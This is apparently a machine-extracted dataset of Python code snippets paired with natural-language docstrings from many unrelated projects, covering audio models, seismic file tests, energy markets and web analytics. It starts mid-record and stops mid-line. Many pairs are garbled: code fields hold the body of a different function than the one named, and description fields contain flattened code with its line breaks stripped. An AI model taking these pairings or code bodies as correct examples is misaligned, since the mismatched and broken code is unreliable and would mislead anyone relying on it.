self.assertEqual(st1.stats.textual_file_header_encoding,\n 'EBCDIC')\n st2 = _read_segy(file, textual_header_encoding='ascii')\n self.assertFalse(st2.stats.textual_file_header[3:21] ==\n b'CLIENT: LITHOPROBE')\n self.assertEqual(st2.stats.textual_file_header_encoding,\n 'ASCII')\n st3 = _read_segy(file)\n self.assertEqual(st3.stats.textual_file_header_encoding,\n 'EBCDIC')\n", "nl": "Tests whether or not the enforcing of the encoding of the textual fileheader actually works."} {"code": "def build_batch(self, batch_id):\n raise NotImplementedError\n", "nl": "process batch data."} {"code": "def __send_packet(self, data, target=None):\n if target is None:", "nl": "Sends a UDP datagram to the given target, if given, or to the multicastgroup.:param data: The content of the datagram:param target: The packet target (can be None)"} {"code": "def is_dm(channel_id):\n return channel_id[0] == 'D'\n\n", "nl": "Is direct message:param channel_id::return:"} {"code": "def user_attributes(self) -> Dict[str, str]:\n A value of true means that the user id (username, email address, etc.) did not match any existing users.\"\"\"", "nl": "One or more name-value pairs representing user attributes. The attribute names are the keys.return self[\"request\"][\"userAttributes\"]@propertydef user_not_found(self) -> Optional[bool]:A Boolean that is populated when PreventUserExistenceErrors is set to ENABLED for your user pool client."} {"code": "def collate_fn(self, batch):\n B = len(batch)\n batch = {k: [dic[k] for dic in batch] for k in batch[0]}\n\n _, ids_sorted_decreasing = torch.sort(\n torch.LongTensor([x.size(1) for x in batch[\"wav\"]]), dim=0, descending=True\n )\n\n max_text_len = max([len(x) for x in batch[\"token_ids\"]])\n token_lens = torch.LongTensor(batch[\"token_len\"])\n token_rel_lens = token_lens / token_lens.max()\n\n wav_lens = [w.shape[1] for w in batch[\"wav\"]]\n wav_lens = torch.LongTensor(wav_lens)\n wav_lens_max = torch.max(wav_lens)\n wav_rel_lens = wav_lens / wav_lens_max\n\n token_padded = torch.LongTensor(B, max_text_len)\n wav_padded = torch.FloatTensor(B, 1, wav_lens_max)\n token_padded = token_padded.zero_() + self.pad_id\n wav_padded = wav_padded.zero_() + self.pad_id\n for i in range(len(ids_sorted_decreasing)):\n token_ids = batch[\"token_ids\"][i]\n token_padded[i, : batch[\"token_len\"][i]] = torch.LongTensor(token_ids)\n\n wav = batch[\"wav\"][i]\n wav_padded[i, :, : wav.size(1)] = torch.FloatTensor(wav)\n\n return {\n \"tokens\": token_padded,\n \"token_lens\": token_lens,\n \"token_rel_lens\": token_rel_lens,\n \"waveform\": wav_padded,\n \"waveform_lens\": wav_lens,\n \"waveform_rel_lens\": wav_rel_lens,\n \"speaker_names\": batch[\"speaker_name\"],\n \"language_names\": batch[\"language_name\"],\n \"audio_files\": batch[\"wav_file\"],\n \"raw_text\": batch[\"raw_text\"],\n }\n\n\n\n\n@dataclass\nclass VitsArgs(Coqpit):\n \"\"\"VITS model arguments.\n\n num_chars: int = 100\n out_channels: int = 513\n spec_segment_size: int = 32\n hidden_channels: int = 192\n hidden_channels_ffn_text_encoder: int = 768\n num_heads_text_encoder: int = 2\n num_layers_text_encoder: int = 6\n kernel_size_text_encoder: int = 3\n dropout_p_text_encoder: float = 0.1\n dropout_p_duration_predictor: float = 0.5\n kernel_size_posterior_encoder: int = 5\n dilation_rate_posterior_encoder: int = 1\n num_layers_posterior_encoder: int = 16\n kernel_size_flow: int = 5\n dilation_rate_flow: int = 1\n num_layers_flow: int = 4\n resblock_type_decoder: str = \"1\"", "nl": "Return Shapes:- tokens: :math:`[B, T]`- token_lens :math:`[B]`- token_rel_lens :math:`[B]`- waveform: :math:`[B, 1, T]`- waveform_lens: :math:`[B]`- waveform_rel_lens: :math:`[B]`- speaker_names: :math:`[B]`- language_names: :math:`[B]`- audiofile_paths: :math:`[B]`- raw_texts: :math:`[B]`"} {"code": "def run(duration: int, runtime_mode: str) -> List[Tuple[str, Union[int, float]]]:\n parameters = {\n \"Duration(seconds)\": duration,\n \"Runtime mode\": runtime_mode,\n \"Number of runs\": number_of_runs,\n }\n", "nl": "Test act message generate performance.# pylint: disable=import-outside-toplevel,unused-import# import manually due to some lazy imports in decision_makerimport aea.decision_maker.default # noqa: F401resources = Resources()connection = SyncedGeneratorConnection.make()resources.add_connection(connection)agent = make_agent(runtime_mode=runtime_mode, resources=resources)skill = make_skill(agent, behaviours={\"test\": TestBehaviour})agent.resources.add_skill(skill)t = Thread(target=agent.start, daemon=True)t.start()wait_for_condition(lambda: agent.is_running, timeout=5)time.sleep(duration)agent.stop()t.join(5)rate = connection.count_in / durationreturn [(\"envelopes sent\", cast(TestBehaviour, skill.behaviours[\"test\"]).count),(\"envelopes received\", connection.count_in),(\"rate(envelopes/second)\", rate),]@click.command()@click.option(\"--duration\", default=3, help=\"Run time in seconds.\")@click.option(\"--runtime_mode\", default=\"async\", help=\"Runtime mode: async or threaded.\")@number_of_runs_deco@output_format_decodef main(duration: int, runtime_mode: str, number_of_runs: int, output_format: str) -> Any:Run test."} {"code": "def test_using_carbon_copy(qisrc_action, git_server):\n _foo_repo = git_server.create_repo(\"foo.git\", review=True)\n qiproject_xml = \"\"\"\\\n git_server.push_file(\"foo.git\", \"qiproject.xml\", qiproject_xml)\n qisrc_action(\"init\", git_server.manifest_url)\n git_worktree = TestGitWorkTree()\n foo_proj = git_worktree.get_git_project(\"foo\")\n foo_git = TestGit(foo_proj.path)\n foo_git.fetch(\"--all\")\n foo_git.commit_file(\"a.txt\", \"a\")\n with mock.patch.object(qisys.command, \"call\") as mocked_call:\n qisrc_action(\"push\", \"--project\", \"foo\")\n set_reviewers_args = mocked_call.call_args_list[-1][0][0][-1]\n assert \"jdoe\" in set_reviewers_args\n assert \"@company.com\" not in set_reviewers_args\n\n", "nl": " Test Using Carbon Copy _foo_repo = git_server.create_repo(\"foo.git\", review=True)qisrc_action(\"init\", git_server.manifest_url)git_worktree = TestGitWorkTree()foo_proj = git_worktree.get_git_project(\"foo\")foo_git = TestGit(foo_proj.path)# Need to fetch gerrit remote at least once for gerrit/master to existfoo_git.fetch(\"--all\")foo_git.commit_file(\"a.txt\", \"a\")with mock.patch.object(qisys.command, \"call\") as mocked_call:qisrc_action(\"push\", \"--project\", \"foo\", \"--cc\", \"jdoe\")set_reviewers_args = mocked_call.call_args_list[2][0][0][7]assert \"jdoe\" in set_reviewers_argsdef test_alert_maintainers(qisrc_action, git_server): Test Alert Maintainers "} {"code": "def _do_get_config(self, source):\n return self._session.get_config(source)\n", "nl": "Get the configuration from the specified source:param source: (string) Configuration source, 'running', 'candidate', ...:return: (GetReply) The configuration."} {"code": "def test_recommendations_with_invalid_match_requirements_get_rejected(market):\n bid = Bid(\"bid_id1\", pendulum.now(), price=2, energy=1, buyer=\"Buyer\", buyer_id=\"buyer1\",\n time_slot=\"2021-10-06T12:00\")\n offer = Offer(\"offer_id1\", pendulum.now(), price=2, energy=1, seller=\"Seller\",\n seller_id=\"seller1\", time_slot=\"2021-10-06T12:00\")\n\n market.bids = {\"bid_id1\": bid}\n market.offers = {\"offer_id1\": offer}\n\n recommended_match1 = BidOfferMatch(\n bid=bid.serializable_dict(), offer=offer.serializable_dict(),\n trade_rate=2, selected_energy=2, market_id=market.id,\n time_slot=\"2021-10-06T12:00\")\n recommended_match2 = BidOfferMatch(\n bid=bid.serializable_dict(), offer=offer.serializable_dict(),\n trade_rate=2, selected_energy=0, market_id=market.id,\n time_slot=\"2021-10-06T12:00\")\n recommended_match3 = BidOfferMatch(\n bid=bid.serializable_dict(), offer=offer.serializable_dict(),\n trade_rate=2, selected_energy=-2, market_id=market.id,\n time_slot=\"2021-10-06T12:00\")\n\n recommendations = [\n recommended_match1,\n recommended_match2,\n recommended_match3]\n\n for recommendation in recommendations:\n with pytest.raises(InvalidBidOfferPairException):\n market.validate_bid_offer_match(recommendation)\n\n market.match_recommendations([\n recommendation.serializable_dict() for recommendation in recommendations])\n assert len(market.trades) == 0\n\n @staticmethod", "nl": "Test recommendations with invalid match_requirements get rejected.bid = Bid(\"bid_id1\", pendulum.now(), price=2, energy=1, buyer=\"Buyer\", buyer_id=\"buyer1\",time_slot=\"2021-10-06T12:00\", requirements=[{\"trading_partners\": [\"seller1\", \"seller2\"]},{\"energy_type\": [\"green\"]}])offer = Offer(\"offer_id1\", pendulum.now(), price=2, energy=1, seller=\"Seller\",seller_id=\"seller1\", time_slot=\"2021-10-06T12:00\")market.bids = {\"bid_id1\": bid}market.offers = {\"offer_id1\": offer}recommendations = [# reject due to invalid bid_requirementBidOfferMatch(bid=bid.serializable_dict(), offer=offer.serializable_dict(),trade_rate=2, selected_energy=1, market_id=market.id,time_slot=\"2021-10-06T12:00\", matching_requirements={\"bid_requirement\": {\"trading_partners\": [\"seller1\", \"seller2\", \"seller3\"]},\"offer_requirement\": {}}),# reject due to invalid bid_requirementBidOfferMatch(bid=bid.serializable_dict(), offer=offer.serializable_dict(),trade_rate=2, selected_energy=1, market_id=market.id,time_slot=\"2021-10-06T12:00\", matching_requirements={\"bid_requirement\": {\"trading_partners\": [\"seller1\", \"seller2\"], \"price\": 2},\"offer_requirement\": {}}),# reject due to invalid offer_requirementBidOfferMatch(bid=bid.serializable_dict(), offer=offer.serializable_dict(),trade_rate=2, selected_energy=1, market_id=market.id,time_slot=\"2021-10-06T12:00\", matching_requirements={\"bid_requirement\": {},\"offer_requirement\": {\"trading_partners\": [\"buyer1\"]}})]for recommendation in recommendations:with pytest.raises(Exception):market.validate_bid_offer_match(recommendation)market.match_recommendations([recommendation.serializable_dict() for recommendation in recommendations])assert len(market.trades) == 0@staticmethoddef test_validate_recommendation_selected_energy(market):Test a recommendation with invalid selected_energy gets rejected."} {"code": "def test_create_estimator_with_default_train_eval_steps(self):\n run_config = tf.estimator.tpu.RunConfig()\n hparams = model_hparams.create_hparams(\n hparams_overrides='load_pretrained=false')\n pipeline_config_path = get_pipeline_config_path(MODEL_NAME_FOR_TEST)\n train_steps = 20\n train_and_eval_dict = model_lib.create_estimator_and_inputs(\n run_config,\n hparams,\n pipeline_config_path,\n train_steps=train_steps,\n use_tpu_estimator=True)\n estimator = train_and_eval_dict['estimator']\n train_steps = train_and_eval_dict['train_steps']\n\n self.assertIsInstance(estimator, tf.estimator.tpu.TPUEstimator)\n self.assertEqual(20, train_steps)\n", "nl": "Tests that number of train/eval defaults to config values.run_config = tf.estimator.RunConfig()hparams = model_hparams.create_hparams(hparams_overrides='load_pretrained=false')pipeline_config_path = get_pipeline_config_path(MODEL_NAME_FOR_TEST)configs = config_util.get_configs_from_pipeline_file(pipeline_config_path)config_train_steps = configs['train_config'].num_stepstrain_and_eval_dict = model_lib.create_estimator_and_inputs(run_config, hparams, pipeline_config_path)estimator = train_and_eval_dict['estimator']train_steps = train_and_eval_dict['train_steps']self.assertIsInstance(estimator, tf.estimator.Estimator)self.assertEqual(config_train_steps, train_steps)def test_create_tpu_estimator_and_inputs(self):Tests that number of train/eval defaults to config values."} {"code": "def __init__(self, mh, name):\n return 'Folder(%r, %r)' % (self.mh, self.name)\n", "nl": "Constructor.self.mh = mhself.name = nameif not os.path.isdir(self.getfullname()):raise Error, 'no folder %s' % namedef __repr__(self):String representation."} {"code": "def __missing__(self, label):\n self[label] = Partition(label=label)\n return self[label]\n\n", "nl": "Create a new partition, passing the label to its constructor."} {"code": "def vertex2bbox(vertices):\n assert len(vertices) == 4\n x1 = min(int(vertices[0][0]), int(vertices[3][0]))\n y1 = min(int(vertices[0][1]), int(vertices[1][1]))\n x2 = max(int(vertices[1][0]), int(vertices[2][0]))\n y2 = max(int(vertices[3][1]), int(vertices[2][1]))\n assert x1 >= 0 and y1 >= 0 and x1 < x2 and y1 < y2\n return str(x1), str(x2), str(y1), str(y2)\n\n", "nl": "input 4 vertices(8 coordinates) and output left, right, top, bottom"} {"code": "def testWildcardInTestCaseName(self):\n\n self.RunAndVerify('*.*A*', ['FooTest.Abc', 'BazTest.TestA'])\n", "nl": "Tests using wildcard in the test case name.self.RunAndVerify('*a*.*', ['BarTest.TestOne','BarTest.TestTwo','BarTest.TestThree','BazTest.TestOne','BazTest.TestA','BazTest.TestB', ] + DEATH_TESTS + PARAM_TESTS)def testWildcardInTestName(self):Tests using wildcard in the test name."} {"code": "def _aggregate_noniid_avg(self, w_locals):\n (_, averaged_params) = w_locals[0]\n for k in averaged_params.keys():\n temp_w = []\n for (_, local_w) in w_locals:\n temp_w.append(local_w[k])\n averaged_params[k] = sum(temp_w) / len(temp_w)\n return averaged_params\n", "nl": "The old aggregate method will impact the model performance when it comes to Non-IID settingArgs:w_locals:Returns:"} {"code": "def _match(self, similarity_matrix, **params):\n pass", "nl": "Method to be overridden by implementations.Args:similarity_matrix: Float tensor of shape [N, M] with pairwise similaritywhere higher value means more similar.**params: Additional keyword arguments for specific implementations of theMatcher.Returns:match_results: Integer tensor of shape [M]: match_results[i]>=0 meansthat column i is matched to row match_results[i], match_results[i]=-1means that the column is not matched. match_results[i]=-2 means thatthe column is ignored (usually this happens when there is a very weakmatch which one neither wants as positive nor negative example)."} {"code": "def _make_feature_mapper(self) -> pynini.Fst:\n pairs = []\n for feature in self._features:\n name = feature.name\n for value in feature.values:\n f = f\"[{name}={value}]\"\n v = pynini.escape(f\"[{name}={value}]\")\n pairs.append(pynini.cross(f, v))\n return pynini.union(*pairs).closure().optimize()\n", "nl": "rConvenience function generating a map to human-readable strings.Returns:A transducer that maps from internal symbols like \"[case=nom]\" to asequence that will be readable as a string (\"\\[case=nom\\]\") for allfeature-value combinations."} {"code": "def max_pages_reached(self) -> bool:\n\n should_run = True\n\n if self.max_pages is not None:\n should_run = self.max_pages > self.current_page\n\n if not should_run:\n logger.info(\n f\"Stopping loop. We have reached max number of pages to scrape: {self.max_pages}\"\n )\n self.set_state_complete()\n\n if self.last_page == self.current_page:\n logger.info(\n f\"Stopping loop. We have reached the last page to scrape: {self.last_page}\"\n )\n self.set_state_complete()\n\n return should_run\n\n @staticmethod", "nl": "Returns boolean of whether or not we should continue checking tutorialbar.com:return:"} {"code": "def next(self):\n if self.cur_token is None:\n index = 0\n else:\n index = self.cur_token.index+1\n token = self.cache[index]\n self.pos = token.stop\n self.line, self.row = token.line, token.row\n self.cur_token = token\n if self.pos > self.max_pos:\n self.max_pos = self.pos\n self.last_token = self.cur_token\n return self.cur_token\n\nclass ContextSensitiveLexer(LexerOptions):\n r\"\"\" ContextSensitiveLexer(word_bounded, compile_options)", "nl": " return the next tokenTokens are Token instances. Separators are ignored."} {"code": "def create(cls, schema, name):\n fn = cls.tags.get(name)\n if fn is not None:\n return fn(schema, name)\n else:\n return XBuiltin(schema, name)", "nl": "Create an object based on the root tag name.@param schema: A schema object.@type schema: L{schema.Schema}@param name: The name.@type name: str@return: The created object.@rtype: L{XBuiltin}"} {"code": "def stats(self, start_date, end_date, registered_only=False):\n visitors = self.filter(\n start_time__gte=start_date,\n start_time__lt=end_date\n )\n\n stats = {\n 'total': 0,\n 'unique': 0,\n 'return_ratio': 0,\n }\n\n stats['total'] = total_count = visitors.count()\n unique_count = 0\n\n if not total_count:\n return stats\n\n total_time_on_site = visitors.aggregate(\n avg_tos=Avg('time_on_site'))['avg_tos']\n stats['time_on_site'] = timedelta(seconds=int(total_time_on_site))\n\n registered_visitors = visitors.filter(user__isnull=False)\n registered_total_count = registered_visitors.count()\n\n if registered_total_count:\n registered_unique_count = registered_visitors.values(\n 'user'\n ).distinct().count()\n time_on_site = registered_visitors.aggregate(\n avg_tos=Avg('time_on_site'))['avg_tos']\n\n unique_count += registered_unique_count\n\n returns = (registered_total_count - registered_unique_count)\n stats['registered'] = {\n 'total': registered_total_count,\n 'unique': registered_unique_count,\n 'return_ratio': (returns / registered_total_count) * 100,\n 'time_on_site': timedelta(seconds=int(time_on_site)),\n }\n\n if TRACK_ANONYMOUS_USERS and not registered_only:\n guests = visitors.filter(user__isnull=True)\n guest_total_count = guests.count()\n\n if guest_total_count:\n guest_unique_count = guests.values(\n 'ip_address'\n ).distinct().count()\n guest_time_on_site = guests.aggregate(\n avg_tos=Avg('time_on_site'))['avg_tos']\n returns = (guest_total_count - guest_unique_count)\n return_ratio = (returns / guest_total_count) * 100\n time_on_site = timedelta(seconds=int(guest_time_on_site))\n else:\n guest_total_count = 0\n guest_unique_count = 0\n return_ratio = 0.0\n time_on_site = timedelta(0)\n\n unique_count += guest_unique_count\n stats['guests'] = {\n 'total': guest_total_count,\n 'unique': guest_unique_count,\n 'return_ratio': return_ratio,\n 'time_on_site': time_on_site,\n }\n\n returns = (total_count - unique_count)\n stats['unique'] = unique_count\n stats['return_ratio'] = (returns / total_count) * 100\n\n if TRACK_PAGEVIEWS:\n if 'registered' in stats:\n pages_per_visit = registered_visitors.annotate(\n page_count=Count('pageviews')\n ).filter(page_count__gt=0).aggregate(\n pages_per_visit=Avg('page_count'))['pages_per_visit']\n stats['registered']['pages_per_visit'] = pages_per_visit\n\n if TRACK_ANONYMOUS_USERS and not registered_only:\n stats['guests']['pages_per_visit'] = guests.annotate(\n page_count=Count('pageviews')\n ).filter(page_count__gt=0).aggregate(\n pages_per_visit=Avg('page_count'))['pages_per_visit']\n\n total_per_visit = visitors.annotate(\n page_count=Count('pageviews')\n ).filter(page_count__gt=0).aggregate(\n pages_per_visit=Avg('page_count'))['pages_per_visit']\n else:\n if 'registered' in stats:\n total_per_visit = stats['registered']['pages_per_visit']\n else:\n total_per_visit = 0\n\n stats['pages_per_visit'] = total_per_visit\n\n return stats\n", "nl": "Returns a dictionary of visits including:* total visits* unique visits* return ratio* pages per visit (if pageviews are enabled)* time on sitefor all users, registered users and guests."} {"code": "def test_single_connection_outgoing_message_count(self):\n identities = ['1112223333', '9998887777']\n self.send('test', self.lookup_connections(identities))\n self.assertEqual(2, len(self.sent_messages[0]['identities']))\n self.assertEqual(1, len(self.sent_messages))\n", "nl": "Single connection should only create 1 message.identities = ['1112223333']self.send('test', self.lookup_connections(identities))self.assertEqual(1, len(self.sent_messages[0]['identities']))self.assertEqual(1, len(self.sent_messages))def test_multiple_connection_outgoing_message_count(self):Multiple connections should only create 1 message."} {"code": "def check_output(self, function, value, output=None):\n if output is None:\n output = value\n self.assertEqual(function(value), output)\n", "nl": "Check that function(value) equals output. If output is None,check that function(value) equals value."} {"code": "def lshellsort(inlist):\n n = len(inlist)\n svec = copy.deepcopy(inlist)\n ivec = range(n)\n gap = n/2\n while gap >0:\n for i in range(gap,n):\n for j in range(i-gap,-1,-gap):\n while j>=0 and svec[j]>svec[j+gap]:\n temp = svec[j]\n svec[j] = svec[j+gap]\n svec[j+gap] = temp\n itemp = ivec[j]\n ivec[j] = ivec[j+gap]\n ivec[j+gap] = itemp\n gap = gap / 2\n return svec, ivec\n\n", "nl": "Shellsort algorithm. Sorts a 1D-list.Usage: lshellsort(inlist)Returns: sorted-inlist, sorting-index-vector (for original list)"} {"code": "def crop_and_resize(self, boxes: torch.Tensor, mask_size: int) -> torch.Tensor:\n assert len(boxes) == len(self), \"{} != {}\".format(len(boxes), len(self))\n\n device = boxes.device\n boxes = boxes.to(torch.device(\"cpu\"))\n\n results = [\n rasterize_polygons_within_box(poly, box.numpy(), mask_size)\n for poly, box in zip(self.polygons, boxes)\n ]\n \"\"\"\n if len(results) == 0:\n return torch.empty(0, mask_size, mask_size, dtype=torch.bool, device=device)\n return torch.stack(results, dim=0).to(device=device)\n", "nl": "Crop each mask by the given box, and resize results to (mask_size, mask_size).This can be used to prepare training targets for Mask R-CNN.Args:boxes (Tensor): Nx4 tensor storing the boxes for each maskmask_size (int): the size of the rasterized mask.Returns:Tensor: A bool tensor of shape (N, mask_size, mask_size), whereN is the number of predicted boxes for this image."} {"code": "def skewness(data: List[float], weights: Optional[List[float]] = None) -> float:\n third = Stats.moment(data, weights=weights, order=3)\n std = Stats.std(data, weights=weights)\n if std < 1e-4:\n std = 1.0\n return third**3 / std**3\n\n @staticmethod", "nl": "Skewness of the distributionArgs:data (list): list of float dataweights (list or None): weights for each data pointReturns: Skewness of the distribution"} {"code": "def remove_dir(self, real_path):\n self._directories_created_lock.acquire()\n real_path = os.path.abspath(real_path)\n try:\n if real_path in self._directories_created:\n self._directories_created.remove(real_path)\n if (real_path == self._top_level_temp) or (real_path == self._top_level_temp_real):\n self._top_level_temp = None\n self._top_level_temp_real = None\n else:\n raise ValueError(\"'%s' is not registered as a temporary directory that was created by this process!\" % real_path)\n finally:\n self._directories_created_lock.release()\n _LOG.debug(\"Cleaning temp dir: '%s'\" % real_path)\n if os.path.exists(real_path):\n for path in os.listdir(real_path):\n fpath = os.path.join(real_path, path)\n if os.path.isdir(fpath):\n try:\n self.remove_dir(fpath)\n except ValueError as e:\n sys.stderr.write(\"Refused to clean '%s': not created by PASTA\\n%s\\n\" % (fpath,str(e)))\n except OSError:\n sys.stderr.write(\"Error trying to remove '%s'\\n\" % fpath)\n for fname in self.run_generated_filenames:\n try:\n os.remove(os.path.join(real_path, fname))\n except OSError:\n pass\n try:\n os.rmdir(real_path)\n except OSError:\n pass\n return True\n return False\n", "nl": "Recursively removes `real_path` from the filesystem if it islisted as one of the directories created by this TempFS object (or raisesa ValueError if it is not listed)."} {"code": "def test_read_single_ndk(self):\n filename = os.path.join(self.datapath, \"C200604092050A.ndk\")\n cat = _read_ndk(filename)\n\n reference = os.path.join(self.datapath, \"C200604092050A.xml\")\n ref_cat = read_events(reference)\n\n self.assertEqual(cat, ref_cat)\n", "nl": "Test reading a single event from an NDK file and comparing it to aQuakeML file that has been manually checked to contain all theinformation in the NDK file."} {"code": "def get_symbols(self):\n return self.public_request('GET', 'market/ticker/{symbol}'.format(symbol=symbol))\n", "nl": "get all symbolsreturn self.public_request('GET', '/public/symbols')['data']def get_market_ticker(self, symbol):get market ticker"} {"code": "def stop_x(self) -> int:\n return self._stop_y\n\n @property", "nl": "The maximum x value of the slice within the original array. Read Onlyreturn self._stop_x@propertydef stop_y(self) -> Optional[int]:The maximum y value of the slice within the original array. Read Only"} {"code": "def _services(app_obj, ldap_entry):", "nl": "Populates services from ldap_entry._schema = [('app', '_id', str),('cpu', 'cpu', str),('memory', 'memory', str),('disk', 'disk', str),('image', 'image', str),('command', 'command', str),('args', 'args', [str]),('ticket', 'tickets', [str]),('keytab', 'keytabs', [str]),('feature', 'features', [str]),('identity-group', 'identity_group', str),('shared-ip', 'shared_ip', bool),('shared-network', 'shared_network', bool),('passthrough', 'passthrough', [str]),('schedule-once', 'schedule_once', bool),('ephemeral-ports-tcp', 'ephemeral_ports_tcp', int),('ephemeral-ports-udp', 'ephemeral_ports_udp', int),('data-retention-timeout', 'data_retention_timeout', str),('lease', 'lease', str),('trait', 'traits', [str]),]_svc_schema = [('service-name', 'name', str),('service-command', 'command', str),('service-image', 'image', str),('service-useshell', 'useshell', bool),('service-root', 'root', bool),]_svc_restart_schema = [('service-name', 'name', str),('service-restart-limit', 'limit', int),('service-restart-interval', 'interval', int),]_default_svc_restart = {'limit': 5, 'interval': 60,}_endpoint_schema = [('endpoint-name', 'name', str),('endpoint-port', 'port', int),('endpoint-proto', 'proto', str),('endpoint-type', 'type', str),]_environ_schema = [('envvar-name', 'name', str),('envvar-value', 'value', str),]_affinity_schema = [('affinity-level', 'level', str),('affinity-limit', 'limit', int),]_vring_schema = [('vring-cell', 'cells', [str]),]_vring_rule_schema = [('vring-rule-endpoint', 'endpoints', [str]),('vring-rule-pattern', 'pattern', str),]_oc = 'tmApp'_ou = 'apps'_entity = 'app'@staticmethoddef schema():Returns combined schema for retrieval."} {"code": "def log(self, msg, status=None, zoom=None):\n parsestatus = self.rasterlayer.parsestatus\n parsestatus.refresh_from_db()\n\n if status is not None:\n parsestatus.status = status\n\n if zoom is not None and zoom not in parsestatus.tile_levels:\n parsestatus.tile_levels.append(zoom)\n parsestatus.tile_levels.sort()\n\n now = '[{0}] '.format(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n\n if parsestatus.log:\n now = '\\n' + now\n\n parsestatus.log += now + msg\n parsestatus.save()\n", "nl": "Write a message to the parse log of the rasterlayer instance and updatethe parse status object."} {"code": "def __getitem__(self, i):\n for idx_u, idx_d, subset in \\\n zip(self.len_top, self.len_bot, self.datasets):\n if i < idx_u:\n return subset.__getitem__(i - idx_d)\n else:\n pass\n nii_warn.f_die(\"Merge dataset: fatal error in __getitem__\")\n return None\n", "nl": " getitem from the corresponding subcorpus"} {"code": "def catchment_intersections(gdir):\n\n catchment_indices = gdir.read_pickle('geometries')['catchment_indices']\n\n mask = np.zeros((gdir.grid.ny, gdir.grid.nx))\n\n gdfc = gpd.GeoDataFrame()\n for i, ci in enumerate(catchment_indices):\n mask[:] = 0\n mask[tuple(ci.T)] = 1\n _, poly_no = _mask_to_polygon(mask, gdir=gdir)\n gdfc.loc[i, 'geometry'] = poly_no\n\n gdfi = utils.polygon_intersections(gdfc)\n\n try:\n salem.transform_geopandas(gdfc, from_crs=gdir.grid,\n to_crs=gdir.grid.proj, inplace=True)\n salem.transform_geopandas(gdfi, from_crs=gdir.grid,\n to_crs=gdir.grid.proj, inplace=True)\n except TypeError:\n if Version(gpd.__version__) >= Version('0.7.0'):\n raise ImportError('You have installed geopandas v0.7 or higher. '\n 'Please also update salem for compatibility.')\n gdfc.crs = gdir.grid\n gdfi.crs = gdir.grid\n salem.transform_geopandas(gdfc, to_crs=gdir.grid.proj, inplace=True)\n salem.transform_geopandas(gdfi, to_crs=gdir.grid.proj, inplace=True)\n if hasattr(gdfc.crs, 'srs'):\n gdfc.crs = gdfc.crs.srs\n gdfi.crs = gdfi.crs.srs\n gdir.write_shapefile(gdfc, 'flowline_catchments')\n if len(gdfi) > 0:\n gdir.write_shapefile(gdfi, 'catchments_intersects')\n\n\n@entity_task(log, writes=['inversion_flowlines'])", "nl": "Computes the intersections between the catchments.A glacier usually consists of several flowlines and each flowline has adistinct catchment area. This function calculates the intersections betweenthese areas.Parameters----------gdir : :py:class:`oggm.GlacierDirectory`where to write the data"} {"code": "def player_is_paused(self):\n return self.player_state == MEDIA_PLAYER_STATE_IDLE\n\n @property", "nl": " Return True if player is PAUSED. return self.player_state == MEDIA_PLAYER_STATE_PAUSED@propertydef player_is_idle(self): Return True if player is IDLE. "} {"code": "def train(self, load, steps, batch_size=256):\n start = self.iteration\n while (self.iteration - start) < steps:\n self.iteration += 1\n\n batch = load.next_batch(batch_size=batch_size)\n\n feed = {tbn('x:0'): batch[0],\n tbn('y:0'): batch[0],\n tbn('is_training:0'): True,\n tbn('learning_rate_tensor:0'): self.learning_rate}\n\n if len(batch) == 2:\n feed[tbn('batches:0')] = batch[1]\n\n if (self.lambda_b and len(batch) < 2):\n raise Exception(\"If using lambda_b (batch correction), you must provide each point's batch as a label\")\n\n ops = [obn('train_op')]\n\n self.sess.run(ops, feed_dict=feed)\n", "nl": "Train SAUCIE.:param load: the loader object to yield batches from:param steps: the number of steps to train for:param batch_size: the number of points to train on in each step"} {"code": "def create_frames(self, channel_id, buf, frame_max):\n size = frame_max - 8\n offset = 0\n while True:\n payload = buf[offset:(offset + size)]\n if len(payload) == 0:\n break\n offset += size\n\n yield ContentFrame(channel_id, payload)\n if offset >= len(buf):\n break\n", "nl": "A generator which will create frames from a buffer given a maxframe size."} {"code": "def _implicitNameOp(self, prefix, name):\n if self.optimized:\n self.emit(prefix + '_FAST', name)\n else:\n self.emit(prefix + '_NAME', name)\n\n", "nl": "Emit name ops for names generated implicitly by for loopsThe interpreter generates names that start with a period ordollar sign. The symbol table ignores these names becausethey aren't present in the program text."} {"code": "def testWildcardPut(self):", "nl": "What happens if you issue a 'put' command and include a wildcard (i.e.'*') in parameter? Check that all files matching the wildcard areuploaded to the correct directory."} {"code": "def printlist(x, width=70, indent=4, file=None):\n\n blanks = ' ' * indent\n print(textwrap.fill(' '.join(str(elt) for elt in sorted(x)), width,\n initial_indent=blanks, subsequent_indent=blanks),\n file=file)\n\n", "nl": "Print the elements of iterable x to stdout.Optional arg width (default 70) is the maximum line length.Optional arg indent (default 4) is the number of blanks with which tobegin each line."} {"code": "def calculatePlot(cls, parent):\n pass\n\n\nPreferences = ConfigParser()\nPreferences.read(conf_dir+\"pychemqtrc\")\n\nif Preferences.getboolean(\"Psychr\", \"virial\"):\n if Preferences.getboolean(\"Psychr\", \"coolprop\") and \\\n os.environ[\"CoolProp\"] == \"True\":\n PsychroState = PsyCoolprop\n elif Preferences.getboolean(\"Psychr\", \"refprop\") and \\\n os.environ[\"refprop\"] == \"True\":\n PsychroState = PsyRefprop\n else:\n PsychroState = PsyVirial\n\n if PsychroState == PsyRefprop or PsychroState == PsyVirial:\n if os.environ[\"CoolProp\"] == \"True\":\n PsychroState = PsyCoolprop\n else:\n PsychroState = PsyIdeal\n\nelse:\n PsychroState = PsyIdeal\n\n\nif __name__ == '__main__':\n aire = PsyIdeal(tdb=40+273.15, w=0.001)\n print(aire.tdb.C, aire.twb.C, aire.tdp.C, aire.w, aire.v, aire.mu, aire.h.kJkg, aire.Pv.Pa, aire.ws)\n\n\n\n\n\n\n", "nl": "Funtion to calculate point in chartPreferences = ConfigParser()Preferences.read(conf_dir+\"pychemqtrc\")parent.setProgressValue(0)data = {}P = parent.inputs.P.valueP_kPa = P/1000t = cls.LineList(\"isotdb\", Preferences)# Saturation lineHs = []for tdb in t:Hs.append(HAProps(\"W\", \"P\", P_kPa, \"Tdb\", tdb, \"RH\", 1))parent.setProgressValue(5*len(Hs)/len(t))data[\"t\"] = tdata[\"Hs\"] = Hs# left limit of isow linesH = cls.LineList(\"isow\", Preferences)th = []for w in H:if w:tdp = HAProps(\"Tdp\", \"P\", 101.325, \"W\", w, \"RH\", 1)th.append(unidades.Temperature(tdp))else:tmin = Preferences.getfloat(\"Psychr\", \"isotdbStart\")th.append(unidades.Temperature(tmin))data[\"H\"] = Hdata[\"th\"] = th# Humidity ratio lineshr = cls.LineList(\"isohr\", Preferences)Hr = {}cont = 0for i in hr:Hr[i] = []for tdb 